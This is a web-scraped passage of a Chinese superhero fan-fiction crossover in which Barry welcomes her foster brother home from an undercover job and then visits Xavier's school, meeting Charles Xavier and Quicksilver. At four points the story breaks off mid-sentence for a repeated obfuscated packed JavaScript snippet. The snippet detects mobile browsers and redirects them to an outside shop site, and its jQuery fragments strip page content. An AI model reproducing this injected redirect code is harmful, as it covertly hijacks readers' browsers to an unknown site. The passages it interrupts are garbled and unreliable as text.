伊德瑞斯大步走到门前:“那杯水给我吧,我渴得要命。” 巴莉和乔立刻后退两步让他进屋。乔把他按在沙发上,从头到脚仔细检查了一遍。 伊德瑞斯老老实实地坐着,等到乔检查完,他才接过巴莉拿来的杯子:“现在你们放心了?” “你是被超人救出来的,当时情况肯定很紧急。幸好超人真的及时赶到了。”巴莉心有余悸地说。“你饿不饿?冰箱里有肉丸意大利面,我去给你热一下。” “那可太好了。”伊德瑞斯一口气喝完了一整杯水,“这几天为了扮演好角色,我吃得实在不习惯。谁能想到,一个帮派负责人,还是在巴尔的摩那里的,居然吃得比我平时更健康?每天只吃健身餐,却得看着其他人吃炸鸡,简直是精神折磨。” 巴莉同情地看看伊德瑞斯,用微波炉热了一盘意面,又倒了一杯水,一并端过去。伊德瑞斯一边吃,一边讲起过去几天的见闻。 说到在当地的对接人,伊德瑞斯评价道:“吉米·麦克纳提警探是我见过的最不靠谱、却又最可靠的警察。” 巴莉想了想:“能想出找陌生人冒充黑/帮领导这种主意,确实是挺不靠谱的。这几天我总在想你此时此刻在做什么,每次都至少想出三四种暴露的情景。” “你也太小瞧我了。”伊德瑞斯故作不满地抱怨。“我在不知道该怎么做的时候,就会摆出严肃的表情,再加上一点不耐烦。” 他说着,当场表演了一下,还真有几分让人不敢多话的威慑力。 巴莉有些不适应地皱起眉:“这个发型就够陌生了,你再露出这个表情,我都快认不出来你了。” 伊德瑞斯有点委屈地摸摸脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033349|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,陌生的气质荡然无存,又变回了巴莉熟悉的样子:“下个月就能恢复原样了……吧。” 乔在旁边点评道:“比你在幼儿园里演大树时候的演技强多了。” “大树根本不需要演技。”巴莉看过那段录像,不止一次。她大笑着说:“大树只需要站在那里,偷偷啃苹果就行了。” “那是因为上台表演前,我被一个家长塞了一个苹果,而站在后面做背景板又真的很无聊。”伊德瑞斯为自己辩解,自认为有理有据。 “那个家长一定是担心你的完美演技抢了其他人的风头,故意用计谋干扰你。”巴莉应和道,但语气中毫无真诚,全是嘲笑。 “神探巴莉,你洗刷了我多年的冤屈啊。”伊德瑞斯一脸感动地说。 吃完饭后,伊德瑞斯去厨房洗碗,巴莉跟了过去。乔在客厅里喊了一声“晚安”,先回房间了。 “这张纸条终于可以退役了。”巴莉顺着伊德瑞斯的视线看去,又看向他,“我觉得,你看起来有点不一样。” “我知道,是发型。”伊德瑞斯随口说。 “不,是别的什么。”巴莉盯着伊德瑞斯。“你看起来有些低落。” 伊德瑞斯没有立刻回答,直到他擦干了手,这才转过身,低头看向巴莉:“我就知道瞒不过你。” “你也同样瞒不过乔。”巴莉说。“只是他比我沉得住气,不会立刻来问你。” 伊德瑞斯轻笑了一声:“我很幸运,出生在中心城,出生在这个家里。有时候,出生地点就决定了一切,而努力只是额外的、微不足道的部分。” “你觉得巴尔的摩的黑人出生在那里,就注定了他们的命运吗?”巴莉明白了他的感慨来源。“努力当然是有意义的,在任何情况下都不是微不足道的。但我也承认,他们可能要付出双倍、甚至更多的努力,才能获得在中心城被视为理所当然的东西。” “这种不平等到底该怎么解决呢?”伊德瑞斯问了一个他自己也知道没有答案的问题,“我不知道究竟能做些什么。当地的警察、记者、老师——很多人都想改变现状,可最后,巴尔的摩还是巴尔的摩。” “也许他们确实改变不了太多。”巴莉承认道,“但他们可以提高下限。” “人类大概就是这样一点点往前走的吧。”她继续说,“几十年前,有些国家甚至还在忍受饥荒;现在他们依然算不上富裕,但至少大多数人能吃饱,能接受基础教育。相比他们自身,这就是进步,也是无数人努力改变的结果。” “那平等呢?”伊德瑞斯轻声问。 “那就需要更多当地人的努力了,以及时间和耐心。”巴莉说。“但我对巴尔的摩有信心。” 信心。 这是伊德瑞斯今晚第二次听到这个词了。 他看着巴莉,忍不住微笑:“你总是能帮我振作起来。” “那是因为你自己心里本来就有答案。”巴莉伸手,轻轻点了点伊德瑞斯的胸口。“晚安。” 伊德瑞斯站在原地,看着她转身离开的背影,那句“我很想你”最终还是没能说出口。 9. 第 9 章 第二天,巴莉一直忙到中午,才忽然想起:伊德瑞斯说过要给她带的纪念品呢? 她其实并不是真的在意礼物本身。只是在日复一日的猜测之后,她越来越好奇伊德瑞斯会从巴尔的摩带什么回家。 但转念一想,她又觉得自己的期待是在强人所难。 如果任务完成后能慢悠悠地回来,他也许还有心思四处逛逛、挑选一番;可伊德瑞斯回来的时候那么匆忙——他是被超人从枪战现场悄无声息地带走的,哪里还会有余裕绕道去买什么纪念品。 那样的情况下,能安全地回到家,已经是最好的结果了。 至少,他安全地回来了。 想到这里,巴莉心里那点若有若无的失落已经消散了。她决定下班后去买个小蛋糕,庆祝伊德瑞斯回来。 她今天没带午饭,去警局附近的餐车买了牙买加菜。餐车阿姨和她很熟,把餐盒塞得快要爆炸了。 当浓郁的香料味、软烂的羊肉和牛尾彻底占据了巴莉的注意力时,一个男人在她对面坐了下来。 餐车外的桌椅不多,拼桌再常见不过,巴莉余光瞥见男人的西装,便默认对方也是在附近上班的人。 “巴莉,你是不是要吃完才能发现我?”男人忽然开口了,声音中带着笑意。 “埃迪?”巴莉惊讶地抬头。 “乔带我来这里吃过一次。”埃迪解释自己是怎么发现这里的。他打开自己面前的餐盒,同样被塞得满满当当,但和巴莉的那份比起来,还是略逊一筹。 “那你完了,”巴莉开玩笑地说,“只要吃过一次,你就会经常想来吃。我还在上学的时候,乔经常从这里打包回去,再配上一盘沙拉,就是我们的晚饭了。” “味道确实不错。”埃迪理解巴莉为什么吃得那么专心。“比我以前吃过的牙买加菜更香。” “还有一家中餐的味道也很好,分量同样很足,乔带你去过了吗?”巴莉问。 “福州饭店?晚上加班的时候点过外卖。”埃迪想了想,“墨西哥餐车也去过一次,就是老板特别高大的那家。不过有点远,那次是出外勤刚好路过。” “那你已经见过乔最秘密的那份列表了。”巴莉一本正经地说,“你窥见了他的胃,也就窥见了他的半颗心。” 埃迪夸张地露出受宠若惊的表情:“听起来,我像是被正式认可了。他在家里是不是经常夸我工作认真负责?” “你想得美。”巴莉毫不留情地戳破他的幻想,“乔在家里几乎不谈工作。” “真的吗?他看起来像是那种就算回到家,也会忍不住一直工作的人。”埃迪说。 “乔是有点工作狂,”巴莉承认道。就在这时,她忽然听到有人喊自己的名字。 “伊德瑞斯?”巴莉没想到会在这里见到他。“我还以为你今天要在家睡一天呢。” 在巴尔的摩的那段时间,伊德瑞斯始终处于神经紧绷的状态,连睡觉时也不敢真正放松。回到安全的环境之后,他整个人都松懈下来,强行压下去的疲倦立刻反弹。 早上巴莉起床的时候,看到他在自己的房间门上贴了张字条,写着“休假,补眠”。她便轻手轻脚地吃完饭,去上班了。 “睡醒了,不想做饭。”伊德瑞斯此刻神采奕奕,看起来是真的睡足了。“我猜你可能会在这里吃午饭,就来碰碰运气。” “正好,你们还没见过吧?”巴莉为两人介绍道,“埃迪,乔的新搭档。伊德瑞斯,乔的儿子。” 埃迪正在暗自猜测两人的关系——他们的对话听起来太亲密了,显然住在一起——然后便得到了答案。他心里那点微妙的情绪顿时无影无踪,笑着和伊德瑞斯握了握手:“你和乔长得真像。” 这并不全是真心的,至少几秒钟之前,他压根没把伊德瑞斯和乔联系到一起。不过现在仔细看看,他觉得这对父子确实长得有些相似。 “很高兴认识你。”伊德瑞斯也在不动声色地打量埃迪。他原以为对方可能是实验室新来的员工,没想到会是一名警探。 寒暄之后,他指指餐车:“我先去买饭。” 说话间,他的视线在巴莉身上停了一下,巴莉很自然地回答了他没有说出来的问题:“我不需要什么。” 伊德瑞斯这才转身朝餐车走去。 “乔说过,他的儿子是个记者。”埃迪对巴莉说,“看起来记者的工作时间表也没比警察规律多少。” “我是家里生活最规律的那个。”巴莉大言不惭地说。她随即意识到,埃迪可能误会了,大概以为伊德瑞斯昨晚是熬夜去采访,或者在赶稿。虽然这种猜测也距离事实不远,伊德瑞斯的确时不时需要加班。 而如果忽略她自己经常晚归的事实,她的结论非常站得住脚。至少单从在警局的上班时间来看,她是家里的三个人里最少需要加班的那个。 埃迪感慨着,带着点真心实意的羡慕:“有个兄弟姐妹真好。我是独生子,小时候总想要个妹妹或者弟弟,每天用崇拜的眼神看着我,管我叫‘大哥’的那种。” “听起来你根本就是想要一个小跟班。”巴莉觉得埃迪与其说是向往亲情,不如说是看见别的小伙伴有,自己也想要一个。 埃迪被说中了,笑了一声,没有反驳,而是反问道:“难道你从没这么想过吗?” 巴莉想了想:“没有。不过听你这么一说,我倒觉得如果真的有个妹妹或弟弟,可能会挺有趣的,前提是对方得乖乖听我的话。不然我大概会很快失去耐心。” “这个要求太高了。小孩子怎么可能一直听大孩子的话?”埃迪觉得她的想法有点幼稚,一看就知道没照顾过比自己更小的孩子,完全是在幻想。 巴莉不得不承认他说得对。她看着伊德瑞斯站在餐车前的身影,忽然冒出一个念头:伊德瑞斯对这个问题是怎么想的呢? 她和伊德瑞斯原本都是各自家庭里唯一的孩子,却因为命运的安排,中途被放在一个屋檐下共同长大。从始至终,伊德瑞斯从来没有因为“父亲的关爱被分走一半”或者“生活被另一个人侵占”而表现出任何不满。 不是因为有教养而隐藏得好,而是真的没有不满。他就那么理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033350|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所当然地接受了她的到来,适应了生活的变化。 如果一部分原因是他一直期待一个小妹妹的话,巴莉怀疑自己是否符合期望。她很清楚自己不是那种乖乖听话、用崇拜眼神仰望大哥的小跟班妹妹。 “我回来了。”伊德瑞斯一手托着餐盒,另一只手拿着一瓶冰可乐,在巴莉旁边坐下。玻璃瓶的瓶盖已经被打开,瓶口插了一根吸管。 巴莉已经忘了之前说自己不需要什么,伸手接过可乐喝了一口,然后被冰凉的气泡唤回了记忆。她有点尴尬地说:“……我有点渴了。” 伊德瑞斯毫不介意:“我猜也是。本来就是给你买的。” 在看到巴莉手边没有饮料的时候,他就知道,如果自己买回来了,她肯定会想喝。 就像在餐厅吃饭的时候,巴莉总会想试试他盘子里的食物,虽然在对着菜单时,她曾毫不在意地略过那一道。 他知道巴莉的喜好和习惯,熟悉到几乎可以预判她的行为。 “我又不渴了,只能喝下刚刚那一口。”巴莉忍不住叛逆一下。 “你确定吗?”这次伊德瑞斯感到意外了。 “非常确定。”巴莉说着,将可乐瓶放到伊德瑞斯手边,态度坚定。 “好吧,那我喝。”伊德瑞斯觉得巴莉的行为有点反常,但没多说什么,顺手拿起瓶子喝了一口。 巴莉的小叛逆立刻泄了气。 埃迪看着两人,握着叉子的手不由得顿了一下,随即又若无其事地继续吃了起来。 “埃迪,你在新公寓安顿好了吗?”巴莉问。 “还有点乱糟糟的,有几个箱子没来得及拆。”埃迪说,“不过大部分已经整理好了。” “你是从别的城市搬来的吗?”伊德瑞斯加入了对话。 “基斯顿城。”埃迪说。 三人顺着这个话题聊了下去,直到巴莉的手机忽然响起。她看了一眼屏幕,立刻切换工作状态:“我得回实验室了。临时有点事。” “我和你一起回去吧。”埃迪正好吃完,跟着巴莉站起身,“下次见,伊德瑞斯。” “下次见。”伊德瑞斯点了点头。他坐在那里,看着两人并肩快步离开,没入人群中。 他伸手从口袋里拿出一枚硬币。 那是在巴尔的摩警局的自动贩卖机买咖啡时得到的。当时他随意地瞥了一眼,注意到上面的图案是马里兰州议会大厦,还刻着“老战线之州”的字样。 自一九九九年起,美国发行了一系列州纪念硬币,流通广泛。人们起初觉得新鲜,逐渐便很少去留意了。但巧合地,他在到达马里兰州的第一天得到这样一枚硬币,伊德瑞斯乐观地认为这预示着好运。 之后的每一天,他都随身带着它,并打算在任务完成后去挑一件合适的礼物,用它一起付款,把好运气带给巴莉。 他没有来得及去买礼物,硬币随着他回了家,静静地躺在口袋里。 回顾这场有惊无险的任务,伊德瑞斯觉得自己是幸运的。 他将硬币放回口袋,打算晚上再给巴莉。 10. 第 10 章 下班后,巴莉先给伊德瑞斯发了条信息,告诉他自己今晚不加班,然后拎起背包走出了警局。 但在路上,她还是因为副业而耽误了一阵。在她匆匆赶到常去的那家蛋糕店时,玻璃柜里的选择已经不多了,好在伊德瑞斯和她都喜欢的香蕉巧克力蛋糕还剩下最后一个。 “要写个字牌吗?”店员问。 “嗯……就写‘欢迎回家’吧。”巴莉说,在结账时又补充道,“还要一根数字零的蜡烛。” 回到家时,伊德瑞斯已经做好了晚饭,一边等她一边写稿。 “乔还没回来?”巴莉把蛋糕放在桌上,拆开盒子。 “他说要加班到很晚,让我们不用等他。”伊德瑞斯将笔记本电脑放到一旁。 “那就给他留一块蛋糕当早饭吧。”巴莉将蜡烛插在蛋糕上,但没有点燃,因为这并非生日蜡烛。“看,你回家了,倒计时归零。” 她一脸邀功地问:“我是不是世界上最好的妹妹?” 伊德瑞斯看着巴莉,没有立刻回答,像是在衡量那个词的重量,然后答非所问地说:“你是世界上最好的家人。” “好吧,这个也可以。”巴莉注意到了他的用词中那点微妙的不同,但在她看来,妹妹和家人是同义词。她得到了想要的答案,满意地坐下了。 伊德瑞斯没有立刻切蛋糕,而是说:“我想送给你一个小东西。” 在巴莉期待的目光中,他将那枚硬币拿出来,放在巴莉的面前:“在巴尔的摩,我没机会带什么纪念品回来,除了它。也许只是心理作用,但我觉得它给我带来了好运。现在,我把它送给你。” 巴莉拿起硬币,低头看着它:“谢谢,我觉得我现在正需要这个。” “为什么?”伊德瑞斯因为她的后半句话而警觉起来。“我不在家的时候,发生了什么事吗?” “因为我下周六要去纽约州参加一个会议。”巴莉将自己收到会议邀请的事情简单地告诉了伊德瑞斯,但没有提那是一家变种人学校。 昨天,在收到确定日期的邮件之后,她立刻告诉了迪克。迪克心里不赞同她前往,但清楚这件事已经无法阻止,只好打电话叮嘱了一番。 其实巴莉也在为这次会议忧心忡忡,只不过她的担心在另一方面:如果她真的是变种人,那该怎么办? 她相信乔和伊德瑞斯不会因此改变对她的态度。如果一定要说有什么变化,那可能是他们会打定主意保护她,不惜一切代价。 可这恰恰是问题所在。 她会不会把危险带到他们身边?她还能不能像现在这样,理所当然地和他们一起生活? “我读过你的论文,就算不靠运气,只凭实力,你也肯定能在会议上获得赞誉。”伊德瑞斯见巴莉神色不安,立刻安慰道。 “你总是会给我加亲情分数。”巴莉知道伊德瑞斯的评判标准和“公平”两个字完全不相干,但被夸了之后还是觉得有点高兴。 她将那些对不确定的担忧藏在心底,催促道:“好啦,归家的英雄来切蛋糕吧。” “你要一块大的,还是超级大的?”伊德瑞斯拿起蛋糕刀。 “超级超级大的。” 前往泽维尔天才少年学院那天,巴莉起得很早,拎着自己的小箱子到了机场。 等待她的是一架小型飞机,舱门开着。巴莉走上舷梯,在门口试探性地喊了一声“你好”,随即看到一个中年男人从驾驶室里走了出来。 “巴莉,我是汉克。终于见面了。” “没想到是您亲自来接我。”巴莉惊讶地打量着汉克。 汉克的身材高大健硕,西装下的肌肉几乎要撑破衣料。如果是在街头偶遇,她大概会以为对方是健美先生,餐餐喝蛋白粉,从起床到就寝之间的唯一日程就是举铁。 神奇的是,他完全没有给巴莉带来任何压迫感。也许是因为他的气质儒雅谦和,鼻梁上还架着一副老式眼镜。 不知道他的变种能力是什么。超级强壮,或者超级聪明?大概是两者之一吧。 巴莉将视线从汉克身上移开,转而环顾起机舱内部。 “你想坐在这里休息,还是想和我一起坐在驾驶室?”汉克用一种哄学生的语气问。 巴莉没想到还有选择,立刻回答:“当然是驾驶室。” 然后,她就看着汉克关上机舱门,坐进驾驶位,并示意她坐在副驾驶的位置。 原来这架飞机竟是汉克教授开来的。巴莉惊叹地看着汉克熟练地操作着飞机平稳升空,几乎感觉不到颠簸。 空中的旅途不长,巴莉觉得飞机刚起飞没多久,就已经开始下降了。 “时间还早,我先带你在学校里转一转。”汉克停好飞机,带着巴莉朝校园方向走去。 说是校园,其实并不像寻常大学那样由多栋建筑错落组成。整个学校面积不大,主体是一座占地巨大的城堡。城堡的建筑风格昭示着它至少有上百年的历史,却被维护得极其妥帖,看不出丝毫衰败的痕迹。 城堡之外,草坪向四周铺展,树木与几座体量不大的附属建筑零星分布。 “东翼是学生宿舍。”汉克介绍着,“这里是校长,查尔斯·泽维尔教授的祖宅。” 穿过城堡前的小花园,巴莉踏入门厅,几乎立刻闻到了金钱的味道。 内部装饰是低调的奢华风格,随处可见名贵的画作和摆设,就仿佛它们只是再普通不过的装饰一样。 偶尔有年轻的学生经过,礼貌地向汉克打招呼。汉克能叫出每一个学生的名字,还总要再叮嘱上几句,活脱脱一副操碎了心的教导主任模样。 “汉克教授,查尔斯教授请你们去他的办公室。”一个年轻的男声忽然在巴莉身侧响起。她正专注地看着一副中世纪盔甲,完全没注意到有人靠得这么近,猛地抬起头,和一名银发男生四目相对。 男生的头发略长,带着些微凌乱,头顶架着一副护目镜。他比巴莉高出一头,穿着敞开的皮夹克,里面是一件印花T恤。 衣着很酷,但他偏偏有一张仍带着婴儿肥的娃娃脸,以及一双无辜的圆眼睛,这让他看起来像是一只努力假装成藏獒的吉娃娃。 他用毫不掩饰的探究眼神盯着巴莉,目不转睛。虽然巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033351|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莉没有从他的目光中察觉任何恶意,但依然感觉不太自在。 她看向汉克,等待他的反应。 “谢谢你,彼得。”汉克说。“我们这就过去。” 彼得却没有离开的意思,视线还停在巴莉脸上。 巴莉有点不高兴了,但看在对方可能只是个高中生的份上,还是耐着性子问:“有什么我能帮到你的吗?” “你和我想象的不一样。”彼得说。 “是吗?”巴莉正想追问,汉克却打断了她。 “彼得,罗根老师那边可能需要你帮忙。” “好吧。”彼得终于不情不愿地走了,离开的速度比他出现的时候慢了许多,还数次回头,似乎在期待汉克能把他叫回去。 可惜汉克压根不去看彼得,带着巴莉来到一间办公室门前,在虚掩的门上敲了敲。 “请进。”一个老人的声音响起。 巴莉跟在汉克后面走进房间,看着坐在房间中央的查尔斯教授。 他一根头发也没有,完全/裸露的头顶有点尖,像一枚鸡蛋。除此之外,他看起来和大学里的老教授别无二致,目光锐利,却带着对学生的宽和。 不,还是有一些区别的。 在看到查尔斯教授身下那架充满科技感,甚至有几分超现代主义风格的金属轮椅之后,巴莉觉得他完美符合人们对隐世组织首领的所有想象。 他是领袖,是旗帜,只需轻轻一抬手,就会有无数人与他并肩作战。 查尔斯教授没有去读巴莉的思想,一方面是因为出于礼貌和尊重,他很少在未打招呼的情况下那么做,另一方面,是因为巴莉的所思所想已经清晰地写在脸上了。 在亲眼见到巴莉之后,他决定不去兜圈子,而是开门见山地说:“巴莉,我想你已经听说过一些关于这所学校,以及关于我的传闻了。” 巴莉点了点头,然后又摇头:“我只知道这是一间变种人学校,以及你非常、非常有钱。” “这两个描述都是准确的。”查尔斯教授笑着说。“那么,你为什么会对变种人感兴趣呢?很多人甚至已经不知道变种人的存在了。” “我……我怀疑自己可能是变种人。”巴莉迟疑着坦白了。 “是什么让你产生了这样的怀疑呢?”查尔斯教授问。 “我可以不回答这个问题吗?”巴莉紧张地蜷起了手指。 “当然。”查尔斯教授连试探都没有,干脆地终止了这个问题。 巴莉反而着急起来:“那我是变种人吗?能不能帮我做个基因检测什么的?” “没有必要。”查尔斯教授直接拒绝了。在巴莉露出失望神色之前,他飞快地补充道:“你不是变种人。” “你确定吗?”巴莉怀疑对方是在敷衍自己。 “你知道我的变种能力是什么吗?”查尔斯教授问。 “特别会理财?”巴莉茫然地猜测。 “在这方面,我只能说是勉强合格,而且很大程度上依赖职业经理人的专业能力。”查尔斯教授被巴莉逗笑了。“简单地说,我擅长心灵感应和精神控制。” 11. 第 11 章 “你会读心?”巴莉的第一反应是去捂住脑袋,然后意识到那样做简直太傻了,急忙忍住了抬手的动作。 而且,就算捂住脑袋有用,那也为时已晚。巴莉有点绝望地看着查尔斯教授的头顶,努力不去想“鸡蛋”,结果脑子里想的只剩下了“鸡蛋”。 查尔斯教授虽然不知道巴莉的具体想法,但她的尴尬情绪实在太明显了。他善解人意地说:“别担心,我没有在读你的思想。” “太好了。”巴莉干巴巴地回答。 查尔斯教授忍着笑,继续解释自己的能力:“在脑波增幅器的帮助下,我可以感知到地球上所有人的脑电波。” “所有人?”巴莉终于能分心去想些别的了——几十亿个光点一起闪烁,那是如同星空般的景象。 “对。以前我只看见过两种光芒,变种人和普通人类。这也是我能在变种人孩童的能力尚未显现之前就找到他们,带到学校里教育的原因。” “所以,这是一所涵盖了从小学到大学的教育机构。”巴莉有点明白汉克的好脾气是怎么被磨炼出来的了,那是常年和各个年龄段、拥有各种能力并且随时有失控风险的学生打交道的结果。 “是的,我们的学生年龄跨度很大。”查尔斯教授已经习惯了被学生插话打断,他先回答了巴莉的话,又不动声色地将话题带回正轨。“但现在,世界上有更多种光芒了,比如外星人,比如拥有超级能力的人类。” 在说到最后半句话时,查尔斯教授用意味深长的眼神看向巴莉。巴莉坚持着不承认也不否认的态度,假装没理解对方的暗示。 她对此次来访的结果既感到失望,又觉得庆幸,心情复杂地说:“所以我不是变种人。那您为什么还要邀请我来这里呢?” “因为变种人不可能永远与世隔绝。隐藏自身的存在并不意味着安全,尤其是在这样一个充满变数的世界里。”查尔斯教授平静地注视着巴莉,毫不掩饰自己的目的性,“我们需要更多的朋友。” “我明白了。”巴莉对查尔斯教授的前瞻性想法感到钦佩。不是所有人都有勇气在局势刚发生变化的时候就做出反应的,更常见的做法是观望、拖延或绥靖。“我对变种人没有恶意,也很乐意多了解一些。” “我可以给你上一节历史课,如果你不嫌枯燥的话。”查尔斯教授抬眼看了看墙上的时钟,“不过不是现在。你们该去开会了。” “那个会议是真的存在吗?”巴莉惊讶地看向汉克。在和查尔斯教授的谈话之后,她已经认定那只是个幌子。 “会议是真的。”汉克解释道,“不过,我是因为你在互联网上的踪迹而注意到你的,之后才做了一些背景调查。你那篇论文写得很出色,远远超出本科论文的水平。” 巴莉正准备离开,想起刚才见到的银发男生,又停下了脚步:“查尔斯教授,您能为我的身份保密吗?” “目前只有汉克和我知道,如果你希望的话,未来也会一直如此。”查尔斯教授说。 “可似乎已经有学生知道了。”巴莉说。 “彼得。”汉克立刻明白了巴莉的意思,“他一定是偶然听到了我们的谈话。” “我会和他谈谈的,别担心。”查尔斯教授保证道。 “彼得的变种能力是什么?”巴莉犹豫了一下,还是问了出来。 “速度。”查尔斯教授又露出那种意味深长的眼神。“他的代号是‘快银’。” 下午的会议进行得十分愉快,与会者们畅所欲言,毫无保留地交流和分享。巴莉恍惚觉得自己重新回到了校园时代。 不过,另外几位参会者并未选择留宿,而是在晚宴结束后便陆续离开了。巴莉则再次坐在了查尔斯教授的办公室里,听他讲述变种人的历史。 在非正式授课之前,查尔斯教授先转向坐在一旁的彼得:“彼得,你有话想对巴莉说,对吗?” 彼得立刻坐直了身体,老老实实地说:“我绝对不会把你的事情告诉任何人。” 被巴莉望着,他有些局促地补充道:“我不是故意偷听的,只是晚上想去厨房找吃的,路过这里时偶然听到了查尔斯教授和汉克教授的对话。” “你到底知道了什么?”巴莉不确定彼得究竟听到了多少,决定还是问清楚,免得自己无意中暴露更多。 “中心城出现了不止一个超级人类,以及你很可能是闪电侠。”彼得十分坦率,“所以我对你非常好奇。我从来没遇到过其他的极速者。” 他的回答里包含的信息量太大,让巴莉短暂地走了神。 中心城里还有其他超级人类,而她对此竟然一点都没有察觉。 另一个问题是,既然中心城还有别的超级人类,那查尔斯教授为什么会猜测自己是闪电侠,而不是其他超级人类? 巴莉暂时压下这些念头,而是问起彼得之前对她说过的话:“你想象中的闪电侠是什么样的?” “和我一样酷。”彼得说。“比我更酷。” 虽然他的言下之意是巴莉看起来过于平常,但他的神情委屈巴巴的,巴莉完全没办法对他生气。 她很难想象自己要怎么打扮才能比快银更酷——而且,乔和伊德瑞斯大概会受到惊吓吧,然后小心翼翼地打探她受了什么刺激。 不过,巴莉心里其实也没就此认输。她觉得自己的闪电侠制服非常酷,充满了科技的力量。 “你自己就是极速者,为什么会对闪电侠这么好奇?”巴莉问。 “因为我想有一个能完全理解我的感受的朋友。”彼得见巴莉依然不肯承认自己是闪电侠,肩膀微微塌了下去,显得有点垂头丧气。“没人能理解我对时间的感觉。” 巴莉忽然心软了。她几乎要冲动地承认自己的身份,只是几乎。 这时,查尔斯教授开口了:“彼得,已经很晚了。你先回宿舍吧。” 彼得又看了巴莉一眼,像是下定了决心似的,认真地说:“我会去中心城找你的。” 然后他就从查尔斯教授的办公室里消失了。 “他这是在对我宣战吗?”巴莉忍不住笑了,“我在中学时可没这么幼稚。” “他二十岁,已经大三了。”查尔斯教授纠正道。 “什么?”巴莉吃惊极了,“他看起来像个高中生。” “可能是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033352|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为他太孤独了。”查尔斯教授说,“他眼中的世界和别人不同,虽然有很多朋友,却很难玩到一起。” 巴莉明白那种感觉。在别人看来,彼得的速度太快了,可在彼得看来,是世界太慢了。 “他的变种能力是什么时候出现的?”巴莉问。 “五岁。你可以想象他在成长过程中有多么困惑。大部分的时间里,他都是自己一个人待着。”查尔斯教授似乎打定主意要让巴莉替彼得感到更加心酸似的,开始过度分享信息,“他由母亲独自抚养长大。我第一次见到他的时候,他已经十六岁了,不肯去上学,整天躲在家里的地下室里打游戏。” “好吧,如果他真的去中心城的话,我不会欺负他的。”巴莉叹了口气。 她已经隐隐开始怀疑,彼得并不是巧合地听到了教授们的对话。或许从一开始,这就是查尔斯教授的安排。 至于查尔斯教授是如何确定她就是闪电侠的,巴莉猜测,他可能终归还是读过她的思想。 查尔斯教授也许是个好人,是个值得尊敬的人,但他绝不可能天真到毫无心机,否则他无法在这个世界里安稳而长久地庇护这么多人。 “他是个好孩子,只是还有点迷茫。”查尔斯教授看着巴莉,“你似乎也有些迷茫。” “我还在寻找方向。”巴莉承认道,“虽然我不是在五岁的时候面对这些变化,但我同样需要时间适应。” “你还需要同伴。”查尔斯教授一针见血地说。 巴莉苦笑了一下:“我本来以为,如果我是变种人,我就会在这里收获一大群同伴。” 查尔斯教授理解她的心态,却也很清楚这种盲目认同可能带来的后果,语气温和地提醒道:“即便同为变种人,也未必一定会成为同伴。有时候,真正重要的不是身份,而是理念是否一致。” 他以自己的经历作为例子:“我的老友艾瑞克曾经坚定地认为变种人优于普通人类,并尝试建立变种人自治区域,让两者彻底隔绝。但我始终相信,人类和变种人可以在一片天空下和平相处。” “你们因此分道扬镳了?”巴莉迟疑地问。 “算是吧。”查尔斯教授惆怅地说,“很长一段时间里,他只是偶尔给我打个电话。我们每年只在圣诞节见上一面,他来给我送礼物,顺便拿走我为他准备的礼物。” 巴莉听得有些困惑。她从他的讲述里捕捉到了一丝难以言说的缱绻,不确定是不是自己想多了。 “随着外星人和超级人类的出现,变种人似乎也没那么特殊了。”查尔斯教授忽然露出一个有些顽皮的笑容,“而我那位朋友的观点,相比他年轻的时候也发生了一些变化。虽然我们依然有很多分歧,但至少我们又能坐在一起下象棋了。” 她绝对没想多。 尽管巴莉觉得查尔斯教授的提醒是有道理的,但查尔斯教授和他的老友更像是理念不同却依然维持友谊的例子,根本不能很好地证明他的论点。 此刻,巴莉甚至有点希望查尔斯教授在读自己的思想了,因为她正在心里吐槽——他根本就是强行提到自己的朋友,让所有人都知道他们又在一起下棋了。 12. 第 12 章 巴莉离开查尔斯教授的办公室时,夜已经深了。 查尔斯教授讲述了自己如何从一个在牛津大学求学,无忧无虑、流连酒吧的富家子弟,成为了如今与轮椅相伴、被称为“X教授”的老人。 他的语气平静,仿佛只是在回顾一段与自己无关的往事,但巴莉能想到这一路的艰辛。 